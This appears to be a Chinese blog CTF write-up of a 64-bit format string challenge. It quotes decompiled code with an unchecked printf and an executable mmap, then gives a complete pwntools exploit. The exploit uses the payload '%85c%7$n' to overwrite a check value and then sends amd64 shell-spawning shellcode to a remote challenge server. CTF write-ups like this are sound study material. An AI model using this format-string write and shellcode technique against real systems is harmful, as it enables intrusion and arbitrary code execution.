string-64位格式化字符串漏洞

string-64位格式化字符串漏洞

题目描述:一个很有趣的题目,题目背景是你遇到了一条龙,一位巫师可以帮助你逃离危险。

首先跑一下程序看下程序逻辑。

首先给你两个秘密地址,让你输入用户名之后,依照程序意图继续让你向东走,向东走之后看见一个洞。

进入这个洞,让你输入一个地址,之后再输入你的愿望,看到了格式化字符串漏洞

 puts("A voice heard in your mind");
  puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", &format);
    puts("Your wish is");
    printf(&format, &format);
    puts("I hear it, I hear it....");

继续向下走看到了巫婆帮助你的条件 要求一开始给你的秘密地址两个值相等 ,但是其中两个地址一个值为68,一个值为85.如果两个地址相等会映射一片内存,且内存的权限为7(可读可写可执行),读入这片内存,并且执行这片内存的内容,自然想到了执行shellcode。

if ( *serect == serect[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }

但是前提是两个秘密的地主处值要相等,可以利用格式化字符串漏洞进行写入。我们下断点查看一下输入地址的偏移。

在这里插入图片描述

但是注意这是64位程序偏移不为1,参数先放在6个寄存器中,之后再放入栈中,所以偏移为7

最后exp如下

from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal','-x','sh','-c']
#p=process('./string')
p=remote('111.198.29.45','47336')
p.recvuntil('secret[0] is ')
address=int(p.recv(7),16)
print hex(address)
p.recvuntil('be:\n')
p.sendline('playmaker')
p.recvuntil('east or up?:\n')
p.sendline('east')
p.recvuntil('or leave(0)?:\n')
p.sendline('1')
p.recv()
sleep(1)
p.sendline(str(address))
p.recvuntil('you wish is:\n')
#gdb.attach(p)
p.sendline('%85c%7$n')
p.recvuntil('USE YOU SPELL\n')
shellcode=asm(shellcraft.amd64.sh(),arch='amd64')
p.sendline(shellcode)
p.interactive()

发布了49 篇原创文章 · 获赞 14 · 访问量 6928

猜你喜欢

转载自blog.csdn.net/qq_39268483/article/details/91353191